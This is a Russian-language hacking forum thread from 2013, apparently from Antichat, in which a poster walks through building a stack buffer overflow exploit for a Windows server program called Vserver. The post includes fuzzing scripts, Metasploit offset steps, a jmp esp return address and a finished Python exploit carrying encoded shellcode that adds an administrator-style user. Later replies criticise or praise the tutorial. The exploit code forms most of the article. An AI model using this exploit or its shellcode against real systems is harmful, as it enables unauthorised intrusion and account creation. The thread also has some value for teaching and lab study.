PDA

Просмотр полной версии : Создаем свой простой Эксплойт.


^NSA^
28.02.2013, 01:12
Всем приветы, Долга думал о чем написать статью ,Так как сам недавно стал изучать создание экслойта.

Это статья о том как создать свой эксплойт под Windows.

Сперва бежим за софтом нам.

1.Виртуальная машина на вас вкус.(vmware player,virtualbox) гооглим

2.Система Windows я тестил свой на XP.

3.Metasploit framework 3 для скриптом и начинки линк (http://downloads.metasploit.com/data/releases/archive/framework-3.0.exe)

4.Immunity Debugger линк (https://www.immunityinc.com/products-immdbg.shtml)

5.Python линк (http://www.python.org/)

6.Наша программа Vserver линк (http://rghost.net/44157137)

Зеркало линк (http://rusfolder.com/35242550)

Сперва начнем простого пример кода.


greeting(char *temp1, char *temp2) {
//buffer мах 400 байт
char name[400];
//копирует значение темп2 в в буфер
strcpy(name, temp2);
// выводим привествие и сам буфер
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
вызываем функцию
greeting(argv[1], argv[2]);

}

Так вот если передать строку больше 400байт программа зависнет.

Произойдет переполнение буфера.

Происходит это потому что что затерт адрес для EIP другим значением выполнение команды.

пример под же дан. Про EIP гооглим.

Дальше нам надо знать что ESP указывает на верхушку стека.(представ те стопку тарелок)

Что такое Стэк гооглим.

Первое что мы сделаем это переполним буфер что для падение программы.


import sys, socket
host = '192.168.17.128'
port=15000
b = b"A" * 1000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(b)
s.close()

http://s14.postimage.org/no19j3f8x/image.png

Как видим наша программа упала значит добились результата.

Запустите снова программу.

Откроем нашу программу Immunity Debugger посмотрим что произошло.

для этого делаем так рис и выбираем прогу на нашем порту.

Программа сразу на паузе нажмите F9 она продолжает работать и запустите снова скрипт

смотрим что там. EIP переписан.

http://s14.postimage.org/ncjt6bysx/debg1.png

Дальше надо создать спец паттерн чтоб легче было исповедовать.

Для этого используем инструменты из Metasploit framework.

по умолчанию cd C:\Program Files\Metasploit\Framework3\framework\tools

Создаем паттерн сохраняем в филе ruby pattern_create.rb 1000 >pat1000.txt

Копируем строчку из файла в скрипт.


import sys, socket
host = '192.168.17.128'
port=15000
b = b"A" * 1000
pat="ваша строка"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(pat)
s.close()

Жмем в дебагере ctrl+f2

Запускаем снова скрипт смотрим в дебагре рис .

http://s14.postimage.org/kjqlmaygh/debg2.png

копируем значение EIP 41386241 = 54 мы уже можем посчитать скок памяти.

в нашей консоле запускаем скрипт

cd C:\Program Files\Metasploit\Framework3\framework\tools

ruby pattern_offset.rb 41386241 1000 ответ 54

esp 0012EC20 63413962 b9Ac =58

разница 4 байта.


Переделываем наш скрипт что было больше места для шеллкода .

j =b"A" * 54
eip =b"BBB"
nops=b"C" * 2000
evil =j+eip+nops
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(evil)
s.close()


Запускаем дебагер а потом скрипт и просматриваем макс место для шеллкода.рис

http://s14.postimage.org/5cf7fovzl/debg3.png

от нашего место отнять указатель стека 0x0012F434 - 0x0012EC20 получим размер свободной памяти,

для нашего шеллкода.

http://s14.postimage.org/gdackpo8h/debg4.png

Осталось установить переход на на либу найдите jmp esp на либ dll.

потом этот адрес запишете до было 0x7E429353 в little indian \x53\x93\x42\x7E

потом подставляем в его eip=b"\x53\x93\x42\x7E" добавляем nop = \x90.(не чего не выполняет)

добавляем шеллкод от метаслойта.

Всю сборку тестим и фиксим.

Вот как бы все.


#!/usr/bin/python
#58
import sys, socket
host = '192.168.17.128'
port=15000
b = b"A" * 1000
pat="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag 6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al 6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9 Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq 6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9 Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av 6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9 Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9 Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf 6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B h"

sh=("\xb8\xea\xc8\x9e\x95\xda\xd7\xd9\x74\x24\xf4\x5b\x 2b\xc9\xb1"
"\x34\x83\xeb\xfc\x31\x43\x0e\x03\xa9\xc6\x7c\x60\x d1\x3f\xc4"
"\x8b\x29\xc0\x4e\xce\x15\x4b\x2c\xd4\x1d\x4a\x22\x 5d\x92\x54"
"\x37\x3d\x0c\x64\xac\x8b\xc7\x52\xb9\x0d\x39\xab\x 7d\x94\x69"
"\x48\xbd\xd3\x76\x90\xf4\x11\x79\xd0\xe2\xde\x42\x 80\xd0\x1a"
"\xc1\xcd\x92\x7c\x0d\x0f\x4e\xe4\xc6\x03\xdb\x62\x 87\x07\xda"
"\x9f\xbc\x24\x57\x5e\x29\xdd\x3b\x45\xa9\x1d\x9c\x b4\x47\xc1"
"\x75\xd3\x2c\x44\x4a\x90\x72\x45\x21\xd6\x6e\xf8\x be\x7f\x86"
"\x8b\x39\xfc\x56\xe1\xe9\x6b\xa6\x7c\x0d\x33\x2e\x 19\xf0\x41"
"\xa0\x4e\xf2\xb1\xdf\x1d\x68\x10\x7a\xa6\x15\x4c\x ab\x35\xf6"
"\xe2\xd6\xcd\xd6\x8f\x6b\x4b\x65\x50\xe6\xf6\xfd\x f1\x8b\x88"
"\x91\x9e\x02\x1d\x4a\x0c\xb1\xa9\xeb\xee\x16\x13\x a8\xaa\x48"
"\xb5\x16\x13\xe6\xdc\x22\x73\x9a\x71\xa8\x12\x0e\x e9\x5c\xba"
"\xbb\x85\x80\x05\x27\x0b\xa8\xeb\xce\xa0\x5e\x86\x 71\x33\xf0"
"\x14\x02\x9b\x63\xbc\x90\xba\x08\x4e\x34\x52\x86\x da\xe4\x83"
"\x19\x67\xa0\xdb\x99\x67")

j =b"A" * 54
nop =b"\x90" *25
#int3 =b"\xcc"
i=b'\x53\x93\x42\x7E'

evil= j + i + nop+sh

print 0x0012F434 - 0x0012EC20
#int 3 \xcc
print len(evil)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(evil)
s.close()

Экслойт добавляет юзера metasploit и пасс meta.

Много вопросов ? видео тут (http://forum.antichat.net/threadedpost3435620.html#post3435620)

Автор ^NSA^ 2013г

justonline
28.02.2013, 02:30
На каком языке это написано? П****ц какой-то=\


#!/usr/bin/python

лучше бы калькулятор запустил.

А.Бабушкин
28.02.2013, 13:15
своременный антивирус спалит все!

качайте "Иммунитет"!

DooD
28.02.2013, 17:45
практически ничего не понятно.то загугли,тама берется это а оттуда то.в таком мотиве...

taha
28.02.2013, 23:11
Это не статья, а история проделанных шагов, в результате которых что-то получилось...

В иделае нужно было сделать небольшой экскурс в ассемблер.. Объяснить, что такое стек, регистры, секции... Как компилируется функция на языке C в машнный код! Какие бывают фунции, как реализуется вызов в различных языках (cdecl fastcall stdcall) ...

И только после этой теоретической справочки можно было бы приступить к уязвимому Сишному коду.

Тогда стало бы ясно что где переполняет и почему!

Я понятия не имею для кого писалась эта статья потому, что она ничему не учит. И прочитав ее неопытный читатель ничего не сможет сделать потому, что не поймет смысла вышеописанного.

И сдается мне автор сам понимает с трудом.

lexpetrov
06.03.2013, 07:12
Супер. Два дня просидел, так не смог у себя ошибку найти. Статью прочитал - и вуаля

Еще раз РЕСПЕКТ!!!

winstrool
13.03.2013, 20:23
Подобную статью, лет пять назад читал в журнале ХАКЕР, когда тока начал осваивать хак, там была точна такая же статья, тока пример был приведен другой, вообщем Боян, а за старание молодец, может и сам додумался! +(0)